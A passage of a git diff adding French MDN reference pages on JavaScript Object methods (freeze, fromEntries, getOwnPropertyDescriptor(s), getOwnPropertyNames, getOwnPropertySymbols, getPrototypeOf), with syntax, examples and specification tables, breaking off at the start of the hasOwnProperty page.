Les propriétés qui sont des données ne pourront pas être changées et les attributs writable et configurable vaudront false. Les propriétés qui sont des accesseurs ou des mutateurs fonctionneront de la même façon (et ne changeront pas la valeur associée malgré le fait qu'il n'y ait pas d'erreur). Les propriétés dont les valeurs sont des objets pourront être modifiées si ces objets ne sont pas gelés. Les tableaux peuvent également être gelés ce qui empêche alors d'ajouter ou de retirer des éléments ou de modifier les éléments existants si ceux-ci ne sont pas des objets.

+ +

La fonction renvoie l'objet passé en argument, elle ne crée pas une copie « gelée ».

+ +

Exemples

+ +

Geler des objets

+ +
var obj = {
+  prop: function (){},
+  toto: "truc"
+};
+
+// On peut ajouter de nouvelles propriétés,
+// éditer ou supprimer celles existantes
+obj.toto = "machin";
+obj.bidule = "woof";
+delete obj.prop;
+
+// L'argument et la valeur renvoyée correspondent au
+// même objet.
+// Il n'est pas nécessaire d'utiliser la valeur renvoyée
+// pour geler l'objet original.
+var o = Object.freeze(obj);
+
+o === obj; // true
+Object.isFrozen(obj); // true
+
+// Maintenant que l'objet est gelé, les changements échoueront
+obj.toto = "eheh"; // échoue silencieusement
+obj.roxor = "ga bu zo meu"; // échoue silencieusement et n'ajoute
+                            // pas la propriété
+
+// ...en mode strict, l'échec se traduira par une exception TypeErrors
+function echec(){
+  "use strict";
+  obj.toto = "bipbip"; // renvoie une TypeError
+  delete obj.toto;     // renvoie une TypeError
+  delete obj.roxor;    // renvoie true car l'attribut n' a pas été ajouté
+  obj.bipbip = "arf";  // renvoie une  TypeError
+}
+
+echec();
+
+// Les changements via Object.defineProperty échoueront également
+// renvoie une TypeError
+Object.defineProperty(obj, "ohoh", { value: 17 });
+// renvoie une TypeError
+Object.defineProperty(obj, "toto", { value: "eit" });
+
+// Il est également impossible de modifier le prototype.
+// Les deux instructions suivantes déclencheront une TypeError.
+Object.setPrototypeOf(obj, { x: 20 });
+obj.__proto__ = { x: 20 };
+
+ +

Geler un tableau

+ +
let a = [0];
+Object.freeze(a);
+// Le tableau ne peut plus être modifié
+
+a[0] = 1;  // échoue silencieusement
+a.push(2); // échoue silencieusement
+
+// en mode strict, de telles tentatives
+// déclencheront des exceptions TypeError
+function echec() {
+  "use strict"
+  a[0] = 1;
+  a.push(2);
+}
+
+echec();
+
+ +

L'exemple qui suit illustre comment les propriétés qui sont des objets peuvent être éditées (la méthode freeze ne s'applique que sur l'objet courant et de façon superficielle).

+ +
obj1 = {
+  internal: {}
+};
+
+Object.freeze(obj1);
+obj1.internal.a = 'valeurA';
+
+obj1.internal.a // 'valeurA'
+ +

L'objet qui est gelé est immuable mais ce n'est pas nécessairement une constante. Pour obtenir une constante, il faut que l'ensemble des références (directes et indirectes) pointe vers des objets immuables. Les chaînes de caractères, les nombres et les booléens sont toujours immuables. La plupart du temps, on aura besoin de créer des constantes au cas par cas (et non de façon générale).

+ +

Qu'est-ce que le gel « superficiel » ? (shallow freeze)

+ +

Lorsqu'on appelle Object.freeze(monObjet), le gel ne s'applique qu'aux propriétés directement rattachées à monObjet. L'ajout, la suppression ou la réaffectation ne sont empêchées que sur l'objet directement. Si les valeurs de ces propriétés sont également des objets, ces derniers ne sont pas gelés et on peut leur ajouter/supprimer/réaffecter des valeurs.

+ +
var employé = {
+  nom: "Leroy",
+  designation: "Développeur",
+  adresse: {
+    cp: "72000",
+    ville: "Le Mans"
+  }
+};
+
+Object.freeze(employé);
+
+employé.nom = "John"; // propriété directe, la réaffectation échoue en silence
+employé.adresse.ville = "Paris"; // propriété d'un objet fils : modifiable
+
+console.log(employé.adresse.ville); // affichera Paris
+
+ +

Pour rendre l'objet complètement immuable, on gèle chacun des objets qu'il contient. Voici un exemple simple de fonction pour parcourir les propriétés qui sont des objets et les geler (attention, cela ne gère pas le cas où on a des cycles de références, ce qui entraînerait une boucle infinie).

+ +
function deepFreeze(obj) {
+
+  // On récupère les noms des propriétés définies sur obj
+  var propNames = Object.getOwnPropertyNames(obj);
+
+  // On gèle les propriétés avant de geler l'objet
+  for(let name of propNames){
+    let value = obj[name];
+    obj[name] = value && typeof value === "object" ?
+      deepFreeze(value) : value;
+  }
+
+  // On gèle l'objet initial
+  return Object.freeze(obj);
+}
+
+obj2 = {
+  internal: {
+    a: null
+  }
+};
+
+deepFreeze(obj2);
+obj2.internal.a = 'valeurB'; // échouera silencieusement en mode non-strict
+obj2.internal.a; // null
+ +

Notes

+ +

Pour ES5, si l'argument passé à la méthode n'est pas un objet mais est d'un autre type primitif, cela entraînera une exception {{jsxref("TypeError")}}. Pour ECMAScript 2015 (ES2015), un argument qui n'est pas un objet sera traité comme un objet ordinaire gelé et sera renvoyé tel quel par la méthode.

+ +
Object.freeze(1);
+// TypeError: 1 is not an object - code ES5
+
+Object.freeze(1);
+// 1                             - code ES2015
+ +

Geler un {{domxref("ArrayBufferView")}} contenant des éléments entraînera une exception {{jsxref("TypeError")}} car ce sont des vues sur des zones mémoires.

+ +
> Object.freeze(new Uint8Array(0)) // Aucun élément
+Uint8Array []
+
+> Object.freeze(new Uint8Array(1)) // Avec des éléments
+TypeError: Cannot freeze array buffer views with elements
+
+> Object.freeze(new DataView(new ArrayBuffer(32))) // Aucun élément
+DataView {}
+
+> Object.freeze(new Float64Array(new ArrayBuffer(64), 63, 0)) // Aucun élément
+Float64Array []
+
+> Object.freeze(new Float64Array(new ArrayBuffer(64), 32, 2)) // Avec des éléments
+TypeError: Cannot freeze array buffer views with elements
+
+ +

On notera que les trois propriétés standard (buf.byteLength, buf.byteOffset et buf.buffer) sont en lecture seule (comme pour {{jsxref("ArrayBuffer")}} et {{jsxref("SharedArrayBuffer")}}) : il n'y a donc aucune raison de vouloir geler ces propriétés.

+ +

Comparaison avec Object.seal()

+ +

Lorsqu'on utilise la méthode Object.freeze(), les propriétés existantes d'un objet deviennent immuables. En revanche, avec {{jsxref("Object.seal()")}}, il est toujours possible de modifier la valeur des propriétés existantes d'un objet scellé.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.9', 'Object.freeze')}}{{Spec2('ES5.1')}}Définition initiale.
+ Implémentée avec JavaScript 1.8.5
{{SpecName('ES6', '#sec-object.freeze', 'Object.freeze')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.freeze', 'Object.freeze')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.freeze")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.isFrozen()")}}
    • +
  • {{jsxref("Object.preventExtensions()")}}
    • +
  • {{jsxref("Object.isExtensible()")}}
    • +
  • {{jsxref("Object.seal()")}}
    • +
  • {{jsxref("Object.isSealed()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/fromentries/index.html b/files/fr/web/javascript/reference/global_objects/object/fromentries/index.html new file mode 100644 index 0000000000..0566ef1d36 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/fromentries/index.html @@ -0,0 +1,108 @@ +--- +title: Object.fromEntries() +slug: Web/JavaScript/Reference/Objets_globaux/Object/fromEntries +tags: + - JavaScript + - Méthode + - Object + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/fromEntries +--- +
{{JSRef}}
+ +

La méthode Object.fromEntries() permet de transformer une liste de paires de clés/valeurs en un objet.

+ +
{{EmbedInteractiveExample("pages/js/object-fromentries.html")}}
+ + + +

Syntaxe

+ +
Object.fromEntries(iterable);
+ +

Paramètres

+ +
+
iterable
+
Un itérable tel qu'un tableau ({{jsxref("Array")}}) ou une {{jsxref("Map")}} ou tout autre objet qui implémente le protocole itérable.
+
+ +

Valeur de retour

+ +

Un nouvel objet dont les propriétés sont fournies par les éléments de l'itérable.

+ +

Description

+ +

La méthode Object.fromEntries() prend comme argument une liste de paires de clés-valeurs et renvoie un nouvel objet dont les propriétés sont fournies par ces clés-valeurs. L'argument iterable doit implémenter une méthode @@iterator qui renvoie un itérateur produisant un objet semblable à un tableau avec deux éléments ; le premier élément est une valeur qui sera utilisée comme clé de la propriété et le second élément sera utilisé comme valeur associée à cette clé.

+ +

Object.fromEntries() est la fonction inverse de {{jsxref("Object.entries()")}}.

+ +

Exemples

+ +

Convertir une Map en un Object

+ +

Grâce à Object.fromEntries, on peut convertir des objets {{jsxref("Map")}} en {{jsxref("Object")}} :

+ +
const map = new Map([ ['toto', 'truc'], ['machin', 42] ]);
+const obj = Object.fromEntries(map);
+console.log(obj); // { toto: "truc", machin: 42 }
+
+ +

Convertir un Array en un Object

+ +

Grâce à Object.fromEntries, on peut convertir des objets {{jsxref("Array")}} en {{jsxref("Object")}} :

+ +
const arr = [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ];
+const obj = Object.fromEntries(arr);
+console.log(obj); // { 0: "a", 1: "b", 2: "c" }
+
+ +

Transformer des objets

+ +

Avec Object.fromEntries et la méthode réciproque {{jsxref("Object.entries()")}}, et les méthodes de manipulation de tableaux, on peut transformer des objets :

+ +
const object1 = { a: 1, b: 2, c: 3 };
+
+const object2 = Object.fromEntries(
+  Object.entries(object1)
+  .map(([ key, val ]) => [ key, val * 2 ])
+);
+
+console.log(object2);
+// { a: 2, b: 4, c: 6 }
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-object.fromentries', 'Object.fromEntries')}}{{Spec2('ESDraft')}}Définition initiale avec ES2019.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Object.fromEntries")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.entries()")}}
    • +
  • {{jsxref("Object.keys()")}}
    • +
  • {{jsxref("Object.values()")}}
    • +
  • {{jsxref("Map.prototype.entries()")}}
    • +
  • {{jsxref("Map.prototype.keys()")}}
    • +
  • {{jsxref("Map.prototype.values()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html b/files/fr/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html new file mode 100644 index 0000000000..5186c3b2b6 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html @@ -0,0 +1,149 @@ +--- +title: Object.getOwnPropertyDescriptor() +slug: Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertyDescriptor +tags: + - ECMAScript 5 + - JavaScript + - Méthode + - Object + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor +--- +
{{JSRef}}
+ +

La méthode Object.getOwnPropertyDescriptor() renvoie un descripteur de la propriété propre d'un objet (c'est-à-dire une propriété directement présente et pas héritée via la chaîne de prototypes).

+ +
{{EmbedInteractiveExample("pages/js/object-getownpropertydescriptor.html")}}
+ + + +

Syntaxe

+ +
Object.getOwnPropertyDescriptor(obj, prop)
+ +

Paramètres

+ +
+
obj
+
L'objet sur lequel on cherche la propriété.
+
prop
+
Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété dont on souhaite avoir la description.
+
+ +

Valeur de retour

+ +

Un descripteur de propriété de la propriété souhaitée si elle existe pour l'objet en question, sinon {{jsxref("undefined")}}.

+ +

Description

+ +

Cette méthode permet d'avoir des informations précises sur une propriété. Une propriété JavaScript est un nom (qui est une chaîne de caractères) ou un symbole ({{jsxref("Symbol")}}) associé à un descripteur. Voir la page {{jsxref("Object.defineProperty")}} pour plus d'informations sur les descripteurs de propriétés.

+ +

Un descripteur de propriété est un enregistrement qui dispose des attributs suivants :

+ +
+
value
+
La valeur associée à la propriété (pour les descripteurs de données uniquement).
+
writable
+
true si et seulement si la valeur associée à la propriété peut être changée (pour les descripteurs de données uniquement).
+
get
+
Une fonction qui joue le rôle d'accesseur (getter) pour la propriété ou {{jsxref("undefined")}} s'il n'y a pas d'accesseur (pour les descripteurs d'accesseurs uniquement).
+
set
+
Une fonction qui joue le rôle de mutateur (setter) pour la propriété ou undefined s'il n'y a pas de tel mutateur (pour les descripteurs d'accesseurs uniquement).
+
configurable
+
true si et seulement si le type du descripteur peut être changé et si la propriété peut être supprimée de l'objet.
+
enumerable
+
true si et seulement si la propriété doit apparaître lors d'une énumération des propriétés de l'objet.
+
+ +

Exemples

+ +
var o, d;
+
+o = { get toto() { return 17; } };
+d = Object.getOwnPropertyDescriptor(o, "toto");
+// d : {
+//       configurable: true,
+//       enumerable: true,
+//       get: /*l'accesseur*/,
+//       set: undefined
+//    }
+
+o = { truc: 42 };
+d = Object.getOwnPropertyDescriptor(o, "truc");
+// d : {
+//        configurable: true,
+//        enumerable: true,
+//        value: 42,
+//        writable: true
+//      }
+
+o = {};
+Object.defineProperty(o, "machin", {
+                                      value: 8675309,
+                                      writable: false,
+                                      enumerable: false });
+d = Object.getOwnPropertyDescriptor(o, "machin");
+// d : {
+//        value: 8675309,
+//        writable: false,
+//        enumerable: false,
+//        configurable: false
+//      }
+ +

Notes

+ +

Pour ES5, si le premier argument de la méthode n'est pas un objet (mais une valeur d'un autre type), une exception {{jsxref("TypeError")}} sera levée. Pour ES2015, un argument non-objet sera d'abord converti en objet avant d'appliquer la méthode.

+ +
Object.getOwnPropertyDescriptor("toto", 0);
+// TypeError: "toto" n'est pas un objet  // code ES5
+
+// code ES2015
+Object.getOwnPropertyDescriptor("toto", 0);
+// {
+//    configurable:false,
+//    enumerable:true,
+//    value:"f",
+//    writable:false
+// }
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.3', 'Object.getOwnPropertyDescriptor')}}{{Spec2('ES5.1')}}Définition initiale.
+ Implémentée avec JavaScript 1.8.5
{{SpecName('ES6', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Object.getOwnPropertyDescriptor")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.defineProperty()")}}
    • +
  • {{jsxref("Reflect.getOwnPropertyDescriptor()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html b/files/fr/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html new file mode 100644 index 0000000000..718833d4c4 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html @@ -0,0 +1,120 @@ +--- +title: Object.getOwnPropertyDescriptors() +slug: Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertyDescriptors +tags: + - JavaScript + - Méthode + - Object + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptors +--- +
{{JSRef}}
+ +

La méthode Object.getOwnPropertyDescriptors() renvoie l'ensemble des descripteurs des propriétés propres d'un objet donné.

+ +
{{EmbedInteractiveExample("pages/js/object-getownpropertydescriptors.html")}}
+ +

Syntaxe

+ +
Object.getOwnPropertyDescriptors(obj)
+ +

Paramètres

+ +
+
obj
+
L'objet dont on souhaite connaître les descripteurs des propriétés.
+
+ +

Valeur de retour

+ +

Un objet qui contient tous les descripteurs des propriétés propres de l'objet passé en paramètre. S'il n'y aucune propriété, cela sera un objet vide.

+ +

Description

+ +

Cette méthode permet d'examiner de façon précise les différentes propriétés directement rattachées à un objet. Une propriété JavaScript se définit par un nom (une chaîne de caractères) ou un symbole ({{jsxref("Symbol")}}) et un descripteur. Vous pouvez trouver de plus amples informations sur les types de descripteurs et sur leurs attributs sur la page de {{jsxref("Object.defineProperty()")}}.

+ +

Un descripteur de propriété est un enregistrement qui possède les attributs suivants :

+ +
+
value
+
La valeur associée à la propriété (uniquement pour les descripteurs de données).
+
writable
+
true si et seulement si la valeur associée à la propriété peut être changée (uniquement pour les descripteurs de données).
+
get
+
Une fonction qui est utilisée comme accesseur pour la propriété ou {{jsxref("undefined")}} s'il n'existe pas de tel accesseur (uniquement pour les descripteurs d'accesseur/mutateur).
+
set
+
Une fonction qui est utilisée comme mutateur pour la propriété ou {{jsxref("undefined")}} s'il n'existe pas de tel mutateur (uniquement pour les descripteurs d'accesseur/mutateur).
+
configurable
+
true si et seulement si le type de descripteur peut être changé et si la propriété peut être supprimée de l'objet correspondant.
+
enumerable
+
true si et seulement si cette propriété est listée lorsqu'on énumère les propriétés de l'objet correspondant.
+
+ +

Exemples

+ +

Créer un clone

+ +

La méthode {{jsxref("Object.assign()")}} ne copiera que les propriétés propres et énumérables d'un objet source vers un objet cible. On peut donc utiliser cette méthode avec {{jsxref("Object.create()")}} afin de réaliser une copie « plate » entre deux objets inconnus :

+ +
Object.create(
+  Object.getPrototypeOf(obj),
+  Object.getOwnPropertyDescriptors(obj)
+);
+
+ +

Créer une sous-classe

+ +

Pour créer une sous-classe, généralement, on définit la sous-classe et on définit son prototype comme étant une instance de la classe parente. Enfin on définit les propriétés de cette nouvelle sous-classe.

+ +
function superclass() {};
+superclass.prototype = {
+  // on définit les méthodes et propriétés
+  // de la classe parente
+};
+
+function subclass() {};
+subclass.prototype = Object.create(
+  superclass.prototype,
+  Object.getOwnPropertyDescriptors({
+  // on définit les méthodes et propriétés
+  // de la sous-classe
+}));
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-object.getownpropertydescriptors', 'Object.getOwnPropertyDescriptors')}}{{Spec2('ESDraft')}} 
{{SpecName('ES2017', '#sec-object.getownpropertydescriptors', 'Object.getOwnPropertyDescriptors')}}{{Spec2('ES2017')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.getOwnPropertyDescriptors")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/object/getownpropertynames/index.html b/files/fr/web/javascript/reference/global_objects/object/getownpropertynames/index.html new file mode 100644 index 0000000000..499f274e68 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/getownpropertynames/index.html @@ -0,0 +1,180 @@ +--- +title: Object.getOwnPropertyNames() +slug: Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertyNames +tags: + - ECMAScript 5 + - JavaScript + - JavaScript 1.8.5 + - Méthode + - Object + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames +--- +
{{JSRef}}
+ +

La méthode Object.getOwnPropertyNames() renvoie un tableau de toutes les propriétés (qu'elles soient énumérables ou non, tant qu'elles ne sont pas désignées par un symbole) propres à un objet (c'est-à-dire n'étant pas héritées via la chaîne de prototypes).

+ +
{{EmbedInteractiveExample("pages/js/object-getownpropertynames.html")}}
+ +

Syntaxe

+ +
Object.getOwnPropertyNames(obj)
+ +

Paramètres

+ +
+
obj
+
L'objet dont seront listées les propriétés propres énumérables et non-énumérables.
+
+ +

Valeur de retour

+ +

Un tableau de chaînes de caractères qui sont les noms des propriétés propres (celles directement rattachées à l'objet) de l'objet passé en argument.

+ +

Description

+ +

Object.getOwnPropertyNames renvoie un tableau dont les éléments sont des chaînes de caractères correspondant aux noms des propriétés énumerables et non-énumerables appartenant directement à l'objet obj. L'ordre des propriétés énumérables est cohérent avec l'ordre utilisé dans une boucle {{jsxref("Instructions/for...in","for...in")}} (ou avec {{jsxref("Object.keys")}}) parmi les propriétés de l'objet. L'ordre des propriétés non-énumérables dans le tableau et parmi les propriétés énumérables n'est pas défini.

+ +

Exemples

+ +

Utiliser Object.getOwnPropertyNames()

+ +
var arr = ["a", "b", "c"];
+console.log(Object.getOwnPropertyNames(arr).sort());
+// ["0", "1", "2", "length"]
+
+// Objet semblable à un tableau (array-like)
+var obj = { 0: "a", 1: "b", 2: "c"};
+console.log(Object.getOwnPropertyNames(obj).sort());
+// ["0", "1", "2"]
+
+
+// On affiche les noms et les valeurs
+// des propriétés avec Array.forEach
+Object.getOwnPropertyNames(obj).forEach(
+  function(val, idx, array) {
+    console.log(val + " -> " + obj[val]);
+});
+// affiche
+// 0 -> a
+// 1 -> b
+// 2 -> c
+
+// propriété non-énumérable
+var mon_obj = Object.create({}, {
+  getToto: {
+    value: function() { return this.toto; },
+    enumerable: false
+  }
+});
+mon_obj.toto = 1;
+
+console.log(Object.getOwnPropertyNames(mon_obj).sort());
+// ["toto", "getToto"]
+
+ +

Si on souhaite n'avoir que les propriétés énumérables, on peut utiliser {{jsxref("Object.keys")}} ou bien une boucle {{jsxref("Instructions/for...in","for...in")}} (cette méthode renverra également les propriétés héritées via la chaîne de prototypes si on ne filtre pas avec la méthode {{jsxref("Object.prototype.hasOwnProperty()", "hasOwnProperty()")}}).

+ +

Les propriétés héritées via la chaîne de prototype ne sont pas listées :

+ +
function ClasseParente() {}
+ClasseParente.prototype.inheritedMethod = function () {};
+
+function ClasseFille () {
+  this.prop = 5;
+  this.method = function () {};
+}
+ClasseFille.prototype = new ClasseParente();
+ClasseFille.prototype.prototypeMethod = function () {};
+
+console.log(
+  Object.getOwnPropertyNames(
+    new ClasseFille() // ["prop", "method"]
+  )
+)
+
+ +

Obtenir uniquement les propriétés non-énumérables

+ +

On utilise ici la fonction {{jsxref("Array.prototype.filter()")}} pour retirer les clés énumérables (obtenus avec {{jsxref("Object.keys()")}}) de la liste de toutes les clés (obtenues avec Object.getOwnPropertynames) afin de n'avoir que les propriétés propres non-énumérables.

+ +
var target = myObject;
+var enum_et_nonenum = Object.getOwnPropertyNames(target);
+var enum_uniquement = Object.keys(target);
+var nonenum_uniquement = enum_et_nonenum.filter(function(key) {
+  var indexInEnum = enum_uniquement.indexOf(key)
+  if (indexInEnum == -1) {
+    // non trouvée dans enum_uniquement indique
+    // que la clé est non-énumérable, on la
+    // garde donc dans le filtre avec true
+    return true;
+  } else {
+    return false;
+  }
+});
+
+console.log(nonenum_uniquement);
+
+ +

Notes

+ +

Pour ES5, si l'argument passé à la méthode n'est pas un objet (mais une valeur d'un autre type primitif), une exception {{jsxref("TypeError")}} sera levée. Pour ES2015, un argument qui n'est pas un objet sera d'abord transformé en objet avant que la méthode soit appliquée.

+ +
Object.getOwnPropertyNames('toto')
+TypeError: "toto" n'est pas un objet // code ES5
+
+Object.getOwnPropertyNames('toto')
+['length', '0', '1', '2']         // code ES2015
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.4', 'Object.getOwnPropertyNames')}}{{Spec2('ES5.1')}}Définition initiale.
+ Implémentée avec JavaScript 1.8.5
{{SpecName('ES6', '#sec-object.getownpropertynames', 'Object.getOwnPropertyNames')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.getownpropertynames', 'Object.getOwnPropertyNames')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.getOwnPropertyNames")}}

+
+ +

Notes spécifiques à Firefox

+ +

Pour les versions antérieures à Firefox 28 {{geckoRelease("28")}}, Object.getOwnPropertyNames ne listait pas les propriétés non-résolues des objets {{jsxref("Error")}}. Cela a été résolu dans les versions suivantes ({{bug("724768")}}).

+ +

Voir aussi

+ +
    +
  • Énumérabilité et possession des propriétés
    • +
  • {{jsxref("Object.prototype.hasOwnProperty()")}}
    • +
  • {{jsxref("Object.prototype.propertyIsEnumerable()")}}
    • +
  • {{jsxref("Object.create()")}}
    • +
  • {{jsxref("Object.keys()")}}
    • +
  • {{jsxref("Array.forEach()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/getownpropertysymbols/index.html b/files/fr/web/javascript/reference/global_objects/object/getownpropertysymbols/index.html new file mode 100644 index 0000000000..c296fef13f --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/getownpropertysymbols/index.html @@ -0,0 +1,92 @@ +--- +title: Object.getOwnPropertySymbols() +slug: Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertySymbols +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Object + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols +--- +
{{JSRef}}
+ +

La méthode Object.getOwnPropertySymbols() renvoie un tableau contenant tous les symboles des propriétés trouvées directement sur un objet donné.

+ +
{{EmbedInteractiveExample("pages/js/object-getownpropertysymbols.html")}}
+ + + +

Syntaxe

+ +
Object.getOwnPropertySymbols(obj)
+ +

Paramètres

+ +
+
obj
+
L'objet dont on souhaite lister les symboles des propriétés propres.
+
+ +

Valeur de retour

+ +

Un tableau des symboles trouvés directement sur l'objet passé en argument.

+ +

Description

+ +

De la même façon que {{jsxref("Object.getOwnPropertyNames()")}}, il est possible d'avoir la liste des symboles des propriétés d'un objet donné sous forme d'un tableau. La méthode {{jsxref("Object.getOwnPropertyNames()")}} ne contiendra uniquement que les propriétés « nommées » d'un objet et non pas les propriétés uniquement accessibles via un symbole.

+ +

Par défaut, aucun objet ne possède de propriété accessible via un symbole à l'état initial. Ainsi, Object.getOwnPropertySymbols() renvoie un tableau vide sauf si des propriétés nommées avec des symboles ont été définies pour l'objet.

+ +

Exemples

+ +
var obj = {};
+var a = Symbol("a");
+var b = Symbol.for("b");
+
+obj[a] = "symboleLocal";
+obj[b] = "symboleGlobal";
+
+var objectSymboles = Object.getOwnPropertySymbols(obj);
+
+console.log(objectSymboles.length); // 2
+console.log(objectSymboles)         // [Symbol(a), Symbol(b)]
+console.log(objectSymboles[0])      // Symbol(a)
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-object.getownpropertysymbols', 'Object.getOwnPropertySymbols')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-object.getownpropertysymbols', 'Object.getOwnPropertySymbols')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.getOwnPropertySymbols")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.getOwnPropertyNames()")}}
    • +
  • {{jsxref("Symbol")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/getprototypeof/index.html b/files/fr/web/javascript/reference/global_objects/object/getprototypeof/index.html new file mode 100644 index 0000000000..c001f9e8c0 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/getprototypeof/index.html @@ -0,0 +1,101 @@ +--- +title: Object.getPrototypeOf() +slug: Web/JavaScript/Reference/Objets_globaux/Object/getPrototypeOf +tags: + - ECMAScript5 + - JavaScript + - Méthode + - Object + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf +--- +
{{JSRef}}
+ +

La méthode Object.getPrototypeOf() renvoie le prototype d'un objet donné (i.e. la valeur de la propriété [[Prototype]] interne).

+ +
{{EmbedInteractiveExample("pages/js/object-getprototypeof.html")}}
+ + + +

Syntaxe

+ +
Object.getPrototypeOf(obj)
+ +

Paramètres

+ +
+
obj
+
L'objet dont on souhaite obtenir le prototype.
+
+ +

Valeur de retour

+ +

Le prototype de l'objet passé en argument. Si aucune propriété n'est héritée, c'est la valeur {{jsxref("null")}} qui est renvoyée.

+ +

Exemples

+ +
var proto = {};
+var obj = Object.create(proto);
+Object.getPrototypeOf(obj) === proto; // true
+
+ +

Notes

+ +

Pour ES5, la méthode renvoie une exception {{jsxref("TypeError")}} si le paramètre obj n'est pas un objet. Pour ES2015, le paramètre sera converti en un objet avant l'application de la méthode.

+ +
Object.getPrototypeOf("toto");
+// TypeError: "toto" n'est pas un objet (code ES5)
+Object.getPrototypeOf("toto");
+// String.prototype                     (code ES2015)
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.2', 'Object.getPrototypeOf')}}{{Spec2('ES5.1')}}Définition initiale
{{SpecName('ES6', '#sec-object.getprototypeof', 'Object.getPrototypeOf')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.getprototypeof', 'Object.getPrototypeOf')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.getPrototypeOf")}}

+
+ +

Notes relatives à Opera

+ +

Bien que les anciennes versions d'Opera ne supportent pas Object.getPrototypeOf(), Opera supporte la propriété non-standard {{jsxref("Object.proto", "__proto__")}} depuis Opera 10.50.

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.isPrototypeOf()")}}
    • +
  • {{jsxref("Object.setPrototypeOf()")}}
    • +
  • {{jsxref("Object.prototype.proto","Object.prototype.__proto__")}}
    • +
  • Le billet de John Resig sur getPrototypeOf (en anglais)
    • +
  • {{jsxref("Reflect.getPrototypeOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/hasownproperty/index.html b/files/fr/web/javascript/reference/global_objects/object/hasownproperty/index.html new file mode 100644 index 0000000000..4a5a5434ce --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/hasownproperty/index.html @@ -0,0 +1,158 @@ +--- +title: Object.prototype.hasOwnProperty() +slug: Web/JavaScript/Reference/Objets_globaux/Object/hasOwnProperty +tags: + - JavaScript + - Méthode + - Object + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty +--- +
{{JSRef}}
+ +

La méthode hasOwnProperty() retourne un booléen indiquant si l'objet possède la propriété spécifiée "en propre", sans que celle-ci provienne de la chaîne de prototypes de l'objet.

+ +
{{EmbedInteractiveExample("pages/js/object-prototype-hasownproperty.html")}}
+ + + +

Syntaxe

+ +
obj.hasOwnProperty(prop)
+ +

Paramètres

+ +
+
prop
